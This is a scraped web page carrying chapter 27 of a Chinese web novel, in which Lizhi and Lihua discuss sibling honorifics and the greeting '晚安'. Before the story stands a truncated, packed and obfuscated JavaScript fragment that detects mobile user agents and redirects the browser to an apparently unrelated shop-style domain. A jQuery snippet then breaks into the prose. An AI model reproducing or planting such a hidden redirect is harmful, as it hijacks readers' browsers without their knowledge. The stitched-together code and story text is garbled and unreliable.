27. 第 27 章（七夕快乐！）

tring)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376569|141028||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

有发现这一点呢。”黎芝困惑地说道，“那是真的吗？”

“是真的啊。”梨花甚至有点地委屈说道，“叫一个真正的‘妹妹’为‘妹妹’的话，简直就等同于说她不是‘妹妹’而强行加上‘妹妹’的属性一样呢……”

也不知道是不是黎芝想多了……

被梨花这么一说，黎芝的心里，还真的有类似的感觉存在了。

“如果这是真的的话……”黎芝若有所思地说道，“既然是这样，那对一个名字后面加入‘姐’的人而言，加入‘姐’的称呼，是加强还是削弱了她的‘姐姐’属性呢？”

“这个感觉的话，就因人而异了。”梨花摇摇头说道，“如果问我的意见的话，我的看法是，不增强也不削弱，‘荔枝姐’与‘姐姐’这两个称呼，在身份上几乎没有差别。”

“嗯……原来是这样啊……”黎芝呆呆地点点头。

“我还没有说完呢。”梨花说道，“可是，如果叫‘荔枝姐姐’的话，那感觉就不一样了。就和叫‘妹’属性的人为‘妹妹’一样，叫‘姐姐’也会产生巨大的距离感呢。”

“确实……”黎芝这时才若有所思起来，“加上‘姐姐’的话，也会让人感到‘其实并不是姐姐’的印象啊。”

“嗯，我说完啦。”梨花笑道，“所以，叫我‘梨花’就可以了，用不着叫我‘梨花妹妹’或是‘梨花妹’之类的哦，听起来好奇怪。”

“我知道了。我会的。”黎芝认真地点点头，说道，“以后我都会叫你‘梨花’的。”

“对了，所以‘荔枝姐’说的‘晚安’是什么意思啊？”梨花神态很奇妙地说道，“听起来，总觉得这个发音很有魅力，但我不知道是什么意思呢。”

“‘晚安’的意思就是‘晚上安好’。”黎芝说道，“是某部小说里的用语。它是从‘请安’一词延伸出来的问好语。基本分成三个版本‘早安’‘午安’‘晚安’。类似的词语还有‘早上好’‘中午好’‘晚上好。’不过，‘早安’和‘午安’都是‘问好’的意思，与‘早上好’‘中午好’没有什么本质的区别。但是，‘晚安’与‘晚上好’却是完全不同的意思。‘晚上好’是刚见面的时候说的，‘晚安’却是分开的时候，知道对方要睡觉了，才说的。”

“好时髦哦……”梨花惊讶地说道，“这原来是一部小说里的用语吗？”

“对，是大夏小说里，独立的用语、并非被西方所影响的说法哦。”黎芝点点头，又困惑地说道，“梨花怎么了，看来很吃惊的样子。”

“荔枝姐好博学啊。”梨花歪着脑袋说道，“竟然连这些‘问好’本就是我国小说的用语都知道。我还以为是西洋传来的舶来词呢。”

“博学谈不上啦。对什么我也是略知一二而已。”黎芝谦虚地说道，“但‘晚安’确实是本土的词语，不是舶来词。新鲜的词也不都是舶来词。”

“原来是这样……”梨花开心地点点头，说道，“我懂啦。”

虽然，黎芝对梨花是否真的懂了感到怀疑，但暂时就这么认为吧。

“那么，这一次是真的‘晚安’了。”黎芝说道。